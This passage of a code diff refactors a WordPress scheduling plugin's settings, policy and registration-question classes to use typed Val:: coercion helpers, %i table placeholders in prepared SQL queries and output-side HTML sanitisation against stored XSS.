 	 * webhook requests genuinely came from Stripe. Empty until configured.
 	 */
 	public function webhookSecret(): string {
-		return (string) get_option( self::OPT_WEBHOOK_SECRET, '' );
+		return Val::string( get_option( self::OPT_WEBHOOK_SECRET, '' ) );
 	}
 
 	public function mode(): string {
@@ -36,7 +37,7 @@ class StudioSettings {
 	}
 
 	public function currency(): string {
-		$currency = (string) get_option( self::OPT_CURRENCY, 'CAD' );
+		$currency = Val::string( get_option( self::OPT_CURRENCY, 'CAD' ) );
 
 		return '' !== $currency ? strtoupper( $currency ) : 'CAD';
 	}
@@ -46,14 +47,14 @@ class StudioSettings {
 	 * no override).
 	 */
 	public function etransferEmail(): string {
-		return (string) get_option( self::OPT_ETRANSFER_EMAIL, '' );
+		return Val::string( get_option( self::OPT_ETRANSFER_EMAIL, '' ) );
 	}
 
 	/**
 	 * Default HST/tax rate as a percentage (e.g. 13.0). 0 means no tax.
 	 */
 	public function hstRate(): float {
-		return max( 0.0, (float) get_option( self::OPT_HST_RATE, 0 ) );
+		return max( 0.0, Val::float( get_option( self::OPT_HST_RATE, 0 ) ) );
 	}
 
 	/**
@@ -92,22 +93,23 @@ class StudioSettings {
 	private function save(): void {
 		// Nonce is verified by the caller (renderPage) before this method runs.
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$mode = sanitize_key( wp_unslash( $_POST['mode'] ?? 'test' ) );
-		update_option( self::OPT_PUBLISHABLE, sanitize_text_field( wp_unslash( $_POST['publishable_key'] ?? '' ) ) );
+		$mode = sanitize_key( Val::string( wp_unslash( $_POST['mode'] ?? 'test' ) ) );
+		update_option( self::OPT_PUBLISHABLE, sanitize_text_field( Val::string( wp_unslash( $_POST['publishable_key'] ?? '' ) ) ) );
 		// Secret fields are write-only: a blank submission keeps the stored secret,
 		// so an admin saving other settings never wipes the keys.
-		$secretKey = sanitize_text_field( wp_unslash( $_POST['secret_key'] ?? '' ) );
+		$secretKey = sanitize_text_field( Val::string( wp_unslash( $_POST['secret_key'] ?? '' ) ) );
 		if ( '' !== $secretKey ) {
 			update_option( self::OPT_SECRET, $secretKey );
 		}
-		$webhookSecret = sanitize_text_field( wp_unslash( $_POST['webhook_secret'] ?? '' ) );
+		$webhookSecret = sanitize_text_field( Val::string( wp_unslash( $_POST['webhook_secret'] ?? '' ) ) );
 		if ( '' !== $webhookSecret ) {
 			update_option( self::OPT_WEBHOOK_SECRET, $webhookSecret );
 		}
 		update_option( self::OPT_MODE, 'live' === $mode ? 'live' : 'test' );
-		update_option( self::OPT_CURRENCY, strtoupper( sanitize_text_field( wp_unslash( $_POST['currency'] ?? 'CAD' ) ) ) );
-		update_option( self::OPT_ETRANSFER_EMAIL, sanitize_email( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) );
-		$hstRate = isset( $_POST['hst_rate'] ) ? (float) $_POST['hst_rate'] : 0.0;
+		update_option( self::OPT_CURRENCY, strtoupper( sanitize_text_field( Val::string( wp_unslash( $_POST['currency'] ?? 'CAD' ) ) ) ) );
+		update_option( self::OPT_ETRANSFER_EMAIL, sanitize_email( Val::string( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) ) );
+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Val::float() coerces to float; slashes cannot survive numeric coercion.
+		$hstRate = isset( $_POST['hst_rate'] ) ? Val::float( $_POST['hst_rate'] ) : 0.0;
 		update_option( self::OPT_HST_RATE, max( 0.0, $hstRate ) );
 		// phpcs:enable WordPress.Security.NonceVerification.Missing
 	}

src/Plugin.php

@@ -4,10 +4,14 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular;
 
 use Unsupervised\Schedular\Auth\InviteRepository;
+use Unsupervised\Schedular\Auth\LoginPage;
+use Unsupervised\Schedular\Auth\RegistrationPage;
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Booking\BookingPage;
 use Unsupervised\Schedular\Availability\AvailabilityRepository;
 use Unsupervised\Schedular\Booking\BookingRepository;
 use Unsupervised\Schedular\GroupClass\EnrollmentRepository;
+use Unsupervised\Schedular\GroupClass\GroupClassPage;
 use Unsupervised\Schedular\Offering\OfferingRepository;
 use Unsupervised\Schedular\Payment\BillingMethodResolver;
 use Unsupervised\Schedular\Payment\PaymentRepository;
@@ -29,6 +33,9 @@ class Plugin {
 		load_plugin_textdomain( 'unsupervised-schedular', false, dirname( plugin_basename( USC_PLUGIN_FILE ) ) . '/languages' );
 
 		global $wpdb;
+		if ( ! $wpdb instanceof \wpdb ) {
+			return;
+		}
 		$availability     = new AvailabilityRepository( $wpdb );
 		$bookings         = new BookingRepository( $wpdb );
 		$offerings        = new OfferingRepository( $wpdb );
@@ -48,9 +55,17 @@ class Plugin {
 		$stripe         = new StripeGateway( $settings );
 		$paymentService = new PaymentService( $paymentRepo, $resolver, new ReceiptMailer(), $bookings, $enrollments, $settings, $stripe );
 
+		// The shortcode and block wrappers share the same page objects so
+		// front-end output is identical whichever way a page embeds them.
+		$bookingPage      = new BookingPage();
+		$loginPage        = new LoginPage();
+		$registrationPage = new RegistrationPage( $invites, $policies, $policyVersions, $acceptances );
+		$groupClassPage   = new GroupClassPage();
+
 		( new RoleManager() )->register();
 		( new AdminMenu( $availability, $bookings, $offerings, $questions, $policies, $policyVersions, $policyService, $invites, $enrollments, $settings, $paymentRepo, $paymentService, $resolver ) )->register();
 		( new RestRegistrar( $availability, $bookings, $offerings, $questions, $policies, $policyVersions, $policyService, $registrationGate, $enrollments, $paymentService ) )->register();
-		( new ShortcodeRegistrar( $invites, $policies, $policyVersions, $acceptances ) )->register();
+		( new ShortcodeRegistrar( $bookingPage, $loginPage, $registrationPage, $groupClassPage ) )->register();
+		( new BlockRegistrar( $bookingPage, $loginPage, $registrationPage, $groupClassPage ) )->register();
 	}
 }

src/Policy/AcceptanceRepository.php

@@ -46,7 +46,8 @@ class AcceptanceRepository {
 	public function findByRegistration( string $registrationType, int $registrationId ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE registration_type = %s AND registration_id = %d ORDER BY id ASC",
+				'SELECT * FROM %i WHERE registration_type = %s AND registration_id = %d ORDER BY id ASC',
+				$this->table,
 				$registrationType,
 				$registrationId
 			)

src/Policy/Policy.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Policy;
 
+use Unsupervised\Schedular\Val;
+
 class Policy {
 
 	public const SCOPE_SIGNUP  = 'signup';
@@ -24,13 +26,13 @@ class Policy {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			title:            $row->title,
-			slug:             $row->slug,
-			currentVersionId: null !== $row->current_version_id ? (int) $row->current_version_id : null,
-			acceptanceScope:  $row->acceptance_scope,
-			id:               (int) $row->id,
+			title:            Val::string( $row->title ),
+			slug:             Val::string( $row->slug ),
+			currentVersionId: Val::intOrNull( $row->current_version_id ),
+			acceptanceScope:  Val::string( $row->acceptance_scope ),
+			id:               Val::int( $row->id ),
 		);
 	}
 

src/Policy/PolicyAcceptance.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Policy;
 
+use Unsupervised\Schedular\Val;
+
 class PolicyAcceptance {
 
 	public const REG_ACCOUNT    = 'account';
@@ -27,15 +29,15 @@ class PolicyAcceptance {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			policyVersionId:  (int) $row->policy_version_id,
-			studentId:        (int) $row->student_id,
-			registrationType: $row->registration_type,
-			registrationId:   (int) $row->registration_id,
-			ipAddress:        $row->ip_address,
-			acceptedAt:       $row->accepted_at,
-			id:               (int) $row->id,
+			policyVersionId:  Val::int( $row->policy_version_id ),
+			studentId:        Val::int( $row->student_id ),
+			registrationType: Val::string( $row->registration_type ),
+			registrationId:   Val::int( $row->registration_id ),
+			ipAddress:        Val::stringOrNull( $row->ip_address ),
+			acceptedAt:       Val::stringOrNull( $row->accepted_at ),
+			id:               Val::int( $row->id ),
 		);
 	}
 

src/Policy/PolicyController.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular\Policy;
 
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Val;
 
 class PolicyController {
 
@@ -23,7 +24,7 @@ class PolicyController {
 		}
 
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only policy selector.
-		$policyId       = absint( $_GET['policy_id'] ?? 0 );
+		$policyId       = absint( Val::int( $_GET['policy_id'] ?? 0 ) );
 		$policyList     = $this->policies->findAll();
 		$selectedPolicy = $policyId > 0 ? $this->policies->findById( $policyId ) : null;
 		$policyVersions = null !== $selectedPolicy ? $this->versions->findByPolicy( (int) $selectedPolicy->id ) : null;
@@ -34,13 +35,13 @@ class PolicyController {
 	private function handleFormAction(): void {
 		// Nonce is verified by the caller (renderPage) before this method runs.
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
+		$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
 
 		if ( 'create_policy' === $action ) {
-			$title   = sanitize_text_field( wp_unslash( $_POST['title'] ?? '' ) );
-			$slugRaw = sanitize_text_field( wp_unslash( $_POST['slug'] ?? '' ) );
+			$title   = sanitize_text_field( Val::string( wp_unslash( $_POST['title'] ?? '' ) ) );
+			$slugRaw = sanitize_text_field( Val::string( wp_unslash( $_POST['slug'] ?? '' ) ) );
 			$slug    = sanitize_title( '' !== $slugRaw ? $slugRaw : $title );
-			$scope   = sanitize_key( wp_unslash( $_POST['acceptance_scope'] ?? Policy::SCOPE_BOOKING ) );
+			$scope   = sanitize_key( Val::string( wp_unslash( $_POST['acceptance_scope'] ?? Policy::SCOPE_BOOKING ) ) );
 
 			if ( ! in_array( $scope, Policy::VALID_SCOPES, true ) ) {
 				$scope = Policy::SCOPE_BOOKING;
@@ -53,18 +54,18 @@ class PolicyController {
 			return;
 		}
 
-		$policyId = absint( $_POST['policy_id'] ?? 0 );
+		$policyId = absint( Val::int( $_POST['policy_id'] ?? 0 ) );
 		if ( $policyId <= 0 || null === $this->policies->findById( $policyId ) ) {
 			return;
 		}
 
 		if ( 'add_version' === $action ) {
-			$body = wp_kses_post( wp_unslash( $_POST['body'] ?? '' ) );
+			$body = wp_kses_post( Val::string( wp_unslash( $_POST['body'] ?? '' ) ) );
 			$this->service->addDraftVersion( $policyId, $body );
 		}
 
 		if ( 'publish_version' === $action ) {
-			$versionId = absint( $_POST['version_id'] ?? 0 );
+			$versionId = absint( Val::int( $_POST['version_id'] ?? 0 ) );
 			if ( $versionId > 0 ) {
 				$this->service->publishVersion( $policyId, $versionId );
 			}

src/Policy/PolicyEndpoint.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular\Policy;
 
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Val;
 
 class PolicyEndpoint {
 
@@ -13,6 +14,11 @@ class PolicyEndpoint {
 		private PolicyService $service,
 	) {}
 
+	/**
+	 * Registers this endpoint's REST routes.
+	 *
+	 * @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
+	 */
 	public function registerRoutes( string $route_namespace ): void {
 		register_rest_route(
 			$route_namespace,
@@ -74,7 +80,7 @@ class PolicyEndpoint {
 	 * `both`-scoped policies).
 	 */
 	public function index( \WP_REST_Request $request ): \WP_REST_Response {
-		$scope    = (string) $request->get_param( 'scope' );
+		$scope    = Val::string( $request->get_param( 'scope' ) );
 		$policies = in_array( $scope, [ Policy::SCOPE_SIGNUP, Policy::SCOPE_BOOKING ], true )
 			? $this->policies->findForScope( $scope )
 			: $this->policies->findAll();
@@ -97,7 +103,10 @@ class PolicyEndpoint {
 				'slug'              => $policy->slug,
 				'policy_version_id' => $version->id,
 				'version_number'    => $version->versionNumber,
-				'body'              => $version->body,
+				// Bodies are kses'd on every write path, but the booking JS renders
+				// this HTML raw — sanitise at output too so a missed write path can
+				// never become stored XSS.
+				'body'              => wp_kses_post( (string) $version->body ),
 			];
 		}
 
@@ -105,12 +114,12 @@ class PolicyEndpoint {
 	}
 
 	public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$title = sanitize_text_field( (string) $request->get_param( 'title' ) );
+		$title = sanitize_text_field( Val::string( $request->get_param( 'title' ) ) );
 		if ( '' === $title ) {
 			return $this->invalid( __( 'A policy title is required.', 'unsupervised-schedular' ) );
 		}
 
-		$slugParam = sanitize_text_field( (string) $request->get_param( 'slug' ) );
+		$slugParam = sanitize_text_field( Val::string( $request->get_param( 'slug' ) ) );
 		$slug      = sanitize_title( '' !== $slugParam ? $slugParam : $title );
 		if ( '' === $slug ) {
 			return $this->invalid( __( 'A valid policy slug is required.', 'unsupervised-schedular' ) );
@@ -120,7 +129,7 @@ class PolicyEndpoint {
 			return new \WP_Error( 'duplicate_slug', __( 'A policy with that slug already exists.', 'unsupervised-schedular' ), [ 'status' => 409 ] );
 		}
 
-		$scope = (string) ( $request->get_param( 'acceptance_scope' ) ?? Policy::SCOPE_BOOKING );
+		$scope = Val::string( $request->get_param( 'acceptance_scope' ) ?? Policy::SCOPE_BOOKING );
 		if ( ! in_array( $scope, Policy::VALID_SCOPES, true ) ) {
 			return $this->invalid( __( 'Invalid acceptance scope.', 'unsupervised-schedular' ) );
 		}
@@ -131,12 +140,12 @@ class PolicyEndpoint {
 	}
 
 	public function addVersion( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$policy = $this->policies->findById( absint( $request->get_param( 'id' ) ) );
+		$policy = $this->policies->findById( absint( Val::int( $request->get_param( 'id' ) ) ) );
 		if ( null === $policy ) {
 			return $this->notFound();
 		}
 
-		$body = wp_kses_post( (string) $request->get_param( 'body' ) );
+		$body = wp_kses_post( Val::string( $request->get_param( 'body' ) ) );
 		$id   = $this->service->addDraftVersion( (int) $policy->id, $body );
 
 		return new \WP_REST_Response( [ 'id' => $id ], 201 );
@@ -152,7 +161,7 @@ class PolicyEndpoint {
 			return $this->invalid( __( 'Only draft versions can be edited.', 'unsupervised-schedular' ) );
 		}
 
-		$body = wp_kses_post( (string) $request->get_param( 'body' ) );
+		$body = wp_kses_post( Val::string( $request->get_param( 'body' ) ) );
 		$this->versions->updateBody( (int) $version->id, $body );
 
 		return new \WP_REST_Response(
@@ -170,7 +179,7 @@ class PolicyEndpoint {
 			return $version;
 		}
 
-		$this->service->publishVersion( (int) $request->get_param( 'id' ), (int) $version->id );
+		$this->service->publishVersion( Val::int( $request->get_param( 'id' ) ), (int) $version->id );
 
 		return new \WP_REST_Response(
 			[
@@ -199,8 +208,8 @@ class PolicyEndpoint {
 	 * Load the version named in the route and confirm it belongs to the policy.
 	 */
 	private function loadVersionForPolicy( \WP_REST_Request $request ): PolicyVersion|\WP_Error {
-		$policyId = absint( $request->get_param( 'id' ) );
-		$version  = $this->versions->findById( absint( $request->get_param( 'vid' ) ) );
+		$policyId = absint( Val::int( $request->get_param( 'id' ) ) );
+		$version  = $this->versions->findById( absint( Val::int( $request->get_param( 'vid' ) ) ) );
 
 		if ( null === $version || $version->policyId !== $policyId ) {
 			return $this->notFound();

src/Policy/PolicyRepository.php

@@ -36,7 +36,8 @@ class PolicyRepository {
 	public function findForScope( string $scope ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE acceptance_scope = %s OR acceptance_scope = %s ORDER BY title ASC",
+				'SELECT * FROM %i WHERE acceptance_scope = %s OR acceptance_scope = %s ORDER BY title ASC',
+				$this->table,
 				$scope,
 				Policy::SCOPE_BOTH
 			)
@@ -68,7 +69,7 @@ class PolicyRepository {
 
 	public function findById( int $id ): ?Policy {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? Policy::fromRow( $row ) : null;
@@ -76,7 +77,7 @@ class PolicyRepository {
 
 	public function findBySlug( string $slug ): ?Policy {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE slug = %s", $slug )
+			$this->db->prepare( 'SELECT * FROM %i WHERE slug = %s', $this->table, $slug )
 		);
 
 		return $row ? Policy::fromRow( $row ) : null;

src/Policy/PolicyVersion.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Policy;
 
+use Unsupervised\Schedular\Val;
+
 class PolicyVersion {
 
 	public const STATUS_DRAFT     = 'draft';
@@ -25,14 +27,14 @@ class PolicyVersion {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			policyId:      (int) $row->policy_id,
-			versionNumber: (int) $row->version_number,
-			body:          $row->body,
-			status:        $row->status,
-			publishedAt:   $row->published_at,
-			id:            (int) $row->id,
+			policyId:      Val::int( $row->policy_id ),
+			versionNumber: Val::int( $row->version_number ),
+			body:          Val::stringOrNull( $row->body ),
+			status:        Val::string( $row->status ),
+			publishedAt:   Val::stringOrNull( $row->published_at ),
+			id:            Val::int( $row->id ),
 		);
 	}
 

src/Policy/PolicyVersionRepository.php

@@ -59,7 +59,8 @@ class PolicyVersionRepository {
 	public function findByPolicy( int $policyId ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE policy_id = %d ORDER BY version_number DESC",
+				'SELECT * FROM %i WHERE policy_id = %d ORDER BY version_number DESC',
+				$this->table,
 				$policyId
 			)
 		);
@@ -69,7 +70,7 @@ class PolicyVersionRepository {
 
 	public function findById( int $id ): ?PolicyVersion {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? PolicyVersion::fromRow( $row ) : null;
@@ -80,7 +81,7 @@ class PolicyVersionRepository {
 	 */
 	public function maxVersionNumber( int $policyId ): int {
 		$max = $this->db->get_var(
-			$this->db->prepare( "SELECT MAX(version_number) FROM {$this->table} WHERE policy_id = %d", $policyId )
+			$this->db->prepare( 'SELECT MAX(version_number) FROM %i WHERE policy_id = %d', $this->table, $policyId )
 		);
 
 		return null === $max ? 0 : (int) $max;

src/Registration/Answer.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Registration;
 
+use Unsupervised\Schedular\Val;
+
 class Answer {
 
 	public const REG_LESSON     = 'lesson';
@@ -24,14 +26,14 @@ class Answer {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			questionId:       (int) $row->question_id,
-			registrationType: $row->registration_type,
-			registrationId:   (int) $row->registration_id,
-			studentId:        (int) $row->student_id,
-			answerValue:      $row->answer_value,
-			id:               (int) $row->id,
+			questionId:       Val::int( $row->question_id ),
+			registrationType: Val::string( $row->registration_type ),
+			registrationId:   Val::int( $row->registration_id ),
+			studentId:        Val::int( $row->student_id ),
+			answerValue:      Val::stringOrNull( $row->answer_value ),
+			id:               Val::int( $row->id ),
 		);
 	}
 

src/Registration/AnswerRepository.php

@@ -46,7 +46,8 @@ class AnswerRepository {
 	public function findByRegistration( string $registrationType, int $registrationId ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE registration_type = %s AND registration_id = %d ORDER BY id ASC",
+				'SELECT * FROM %i WHERE registration_type = %s AND registration_id = %d ORDER BY id ASC',
+				$this->table,
 				$registrationType,
 				$registrationId
 			)

src/Registration/Question.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Registration;
 
+use Unsupervised\Schedular\Val;
+
 class Question {
 
 	public const FIELD_TEXT     = 'text';
@@ -38,22 +40,24 @@ class Question {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		$options = null;
 		if ( null !== $row->options && '' !== $row->options ) {
-			$decoded = json_decode( (string) $row->options, true );
-			$options = is_array( $decoded ) ? array_values( array_map( 'strval', $decoded ) ) : null;
+			$decoded = json_decode( Val::string( $row->options ), true );
+			$options = is_array( $decoded )
+				? array_values( array_map( static fn( mixed $v ): string => Val::string( $v ), $decoded ) )
+				: null;
 		}
 
 		return new self(
-			offeringId: (int) $row->offering_id,
-			label:      $row->label,
-			fieldType:  $row->field_type,
+			offeringId: Val::int( $row->offering_id ),
+			label:      Val::string( $row->label ),
+			fieldType:  Val::string( $row->field_type ),
 			options:    $options,
-			isRequired: (bool) $row->is_required,
-			sortOrder:  (int) $row->sort_order,
-			isActive:   (bool) $row->is_active,
-			id:         (int) $row->id,
+			isRequired: Val::bool( $row->is_required ),
+			sortOrder:  Val::int( $row->sort_order ),
+			isActive:   Val::bool( $row->is_active ),
+			id:         Val::int( $row->id ),
 		);
 	}
 

src/Registration/QuestionController.php

@@ -6,6 +6,7 @@ namespace Unsupervised\Schedular\Registration;
 use Unsupervised\Schedular\Auth\RoleManager;
 use Unsupervised\Schedular\Offering\Offering;
 use Unsupervised\Schedular\Offering\OfferingRepository;
+use Unsupervised\Schedular\Val;
 
 class QuestionController {
 
@@ -23,7 +24,7 @@ class QuestionController {
 		$manageAll = current_user_can( RoleManager::CAP_MANAGE_INSTRUCTORS );
 
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only offering selector.
-		$offeringId       = absint( $_GET['offering_id'] ?? 0 );
+		$offeringId       = absint( Val::int( $_GET['offering_id'] ?? 0 ) );
 		$offeringList     = $manageAll ? $this->offerings->findAll() : $this->offerings->findAll( $userId );
 		$selectedOffering = $offeringId > 0 ? $this->offerings->findById( $offeringId ) : null;
 
@@ -46,14 +47,14 @@ class QuestionController {
 	private function handleFormAction( Offering $offering ): void {
 		// Nonce is verified by the caller (renderPage) before this method runs.
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
+		$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
 
 		if ( 'add' === $action ) {
 			$this->addQuestion( (int) $offering->id );
 		}
 
 		if ( 'delete' === $action ) {
-			$questionId = absint( $_POST['question_id'] ?? 0 );
+			$questionId = absint( Val::int( $_POST['question_id'] ?? 0 ) );
 			if ( $questionId > 0 ) {
 				$question = $this->questions->findById( $questionId );
 				if ( $question && $question->offeringId === (int) $offering->id ) {
@@ -66,8 +67,8 @@ class QuestionController {
 
 	private function addQuestion( int $offeringId ): void {
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$label     = sanitize_text_field( wp_unslash( $_POST['label'] ?? '' ) );
-		$fieldType = sanitize_key( wp_unslash( $_POST['field_type'] ?? Question::FIELD_TEXT ) );
+		$label     = sanitize_text_field( Val::string( wp_unslash( $_POST['label'] ?? '' ) ) );
+		$fieldType = sanitize_key( Val::string( wp_unslash( $_POST['field_type'] ?? Question::FIELD_TEXT ) ) );
 
 		if ( '' === $label || ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
 			return;
@@ -78,9 +79,9 @@ class QuestionController {
 				offeringId: $offeringId,
 				label:      $label,
 				fieldType:  $fieldType,
-				options:    $this->parseOptions( sanitize_textarea_field( wp_unslash( $_POST['options'] ?? '' ) ) ),
+				options:    $this->parseOptions( sanitize_textarea_field( Val::string( wp_unslash( $_POST['options'] ?? '' ) ) ) ),
 				isRequired: isset( $_POST['is_required'] ),
-				sortOrder:  absint( $_POST['sort_order'] ?? 0 ),
+				sortOrder:  absint( Val::int( $_POST['sort_order'] ?? 0 ) ),
 			)
 		);
 		// phpcs:enable WordPress.Security.NonceVerification.Missing

src/Registration/QuestionEndpoint.php

@@ -5,6 +5,7 @@ namespace Unsupervised\Schedular\Registration;
 
 use Unsupervised\Schedular\Auth\RoleManager;
 use Unsupervised\Schedular\Offering\OfferingRepository;
+use Unsupervised\Schedular\Val;
 
 class QuestionEndpoint {
 
@@ -13,6 +14,11 @@ class QuestionEndpoint {
 		private OfferingRepository $offerings,
 	) {}
 
+	/**
+	 * Registers this endpoint's REST routes.
+	 *
+	 * @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
+	 */
 	public function registerRoutes( string $route_namespace ): void {
 		register_rest_route(
 			$route_namespace,
@@ -57,24 +63,24 @@ class QuestionEndpoint {
 	}
 
 	public function index( \WP_REST_Request $request ): \WP_REST_Response {
-		$questions = $this->questions->findByOffering( absint( $request->get_param( 'id' ) ), activeOnly: true );
+		$questions = $this->questions->findByOffering( absint( Val::int( $request->get_param( 'id' ) ) ), activeOnly: true );
 
 		return new \WP_REST_Response( array_map( fn( Question $q ) => $q->toArray(), $questions ), 200 );
 	}
 
 	public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$offeringId = absint( $request->get_param( 'offering_id' ) );
+		$offeringId = absint( Val::int( $request->get_param( 'offering_id' ) ) );
 		$ownerCheck = $this->requireOfferingOwner( $offeringId );
 		if ( $ownerCheck instanceof \WP_Error ) {
 			return $ownerCheck;
 		}
 
-		$label = sanitize_text_field( (string) $request->get_param( 'label' ) );
+		$label = sanitize_text_field( Val::string( $request->get_param( 'label' ) ) );
 		if ( '' === $label ) {
 			return $this->invalid( __( 'A question label is required.', 'unsupervised-schedular' ) );
 		}
 
-		$fieldType = (string) ( $request->get_param( 'field_type' ) ?? Question::FIELD_TEXT );
+		$fieldType = Val::string( $request->get_param( 'field_type' ) ?? Question::FIELD_TEXT );
 		if ( ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
 			return $this->invalid( __( 'Invalid field type.', 'unsupervised-schedular' ) );
 		}
@@ -85,7 +91,7 @@ class QuestionEndpoint {
 			fieldType:  $fieldType,
 			options:    $this->sanitizeOptions( $request->get_param( 'options' ) ),
 			isRequired: (bool) $request->get_param( 'is_required' ),
-			sortOrder:  (int) $request->get_param( 'sort_order' ),
+			sortOrder:  Val::int( $request->get_param( 'sort_order' ) ),
 			isActive:   null === $request->get_param( 'is_active' ) ? true : (bool) $request->get_param( 'is_active' ),
 		);
 
@@ -95,7 +101,7 @@ class QuestionEndpoint {
 	}
 
 	public function update( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$id       = absint( $request->get_param( 'id' ) );
+		$id       = absint( Val::int( $request->get_param( 'id' ) ) );
 		$existing = $this->questions->findById( $id );
 
 		if ( null === $existing ) {
@@ -107,18 +113,18 @@ class QuestionEndpoint {
 			return $ownerCheck;
 		}
 
-		$fieldType = $request->has_param( 'field_type' ) ? (string) $request->get_param( 'field_type' ) : $existing->fieldType;
+		$fieldType = $request->has_param( 'field_type' ) ? Val::string( $request->get_param( 'field_type' ) ) : $existing->fieldType;
 		if ( ! in_array( $fieldType, Question::VALID_FIELD_TYPES, true ) ) {
 			return $this->invalid( __( 'Invalid field type.', 'unsupervised-schedular' ) );
 		}
 
 		$question = new Question(
 			offeringId: $existing->offeringId,
-			label:      $request->has_param( 'label' ) ? sanitize_text_field( (string) $request->get_param( 'label' ) ) : $existing->label,
+			label:      $request->has_param( 'label' ) ? sanitize_text_field( Val::string( $request->get_param( 'label' ) ) ) : $existing->label,
 			fieldType:  $fieldType,
 			options:    $request->has_param( 'options' ) ? $this->sanitizeOptions( $request->get_param( 'options' ) ) : $existing->options,
 			isRequired: $request->has_param( 'is_required' ) ? (bool) $request->get_param( 'is_required' ) : $existing->isRequired,
-			sortOrder:  $request->has_param( 'sort_order' ) ? (int) $request->get_param( 'sort_order' ) : $existing->sortOrder,
+			sortOrder:  $request->has_param( 'sort_order' ) ? Val::int( $request->get_param( 'sort_order' ) ) : $existing->sortOrder,
 			isActive:   $request->has_param( 'is_active' ) ? (bool) $request->get_param( 'is_active' ) : $existing->isActive,
 			id:         $id,
 		);
@@ -129,7 +135,7 @@ class QuestionEndpoint {
 	}
 
 	public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$id       = absint( $request->get_param( 'id' ) );
+		$id       = absint( Val::int( $request->get_param( 'id' ) ) );
 		$existing = $this->questions->findById( $id );
 
 		if ( null === $existing ) {
@@ -192,7 +198,7 @@ class QuestionEndpoint {
 		$options = array_values(
 			array_filter(
 				array_map(
-					static fn( $option ): string => sanitize_text_field( (string) $option ),
+					static fn( mixed $option ): string => sanitize_text_field( Val::string( $option ) ),
 					$value
 				)
 			)

src/Registration/QuestionRepository.php

@@ -54,8 +54,8 @@ class QuestionRepository {
 	 * @return list<Question>
 	 */
 	public function findByOffering( int $offeringId, bool $activeOnly = false ): array {
-		$sql    = "SELECT * FROM {$this->table} WHERE offering_id = %d";
-		$params = [ $offeringId ];
+		$sql    = 'SELECT * FROM %i WHERE offering_id = %d';
+		$params = [ $this->table, $offeringId ];
 
 		if ( $activeOnly ) {
 			$sql     .= ' AND is_active = %d';
@@ -71,7 +71,7 @@ class QuestionRepository {
 
 	public function findById( int $id ): ?Question {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? Question::fromRow( $row ) : null;

src/ShortcodeRegistrar.php

@@ -3,34 +3,20 @@ declare(strict_types=1);
 
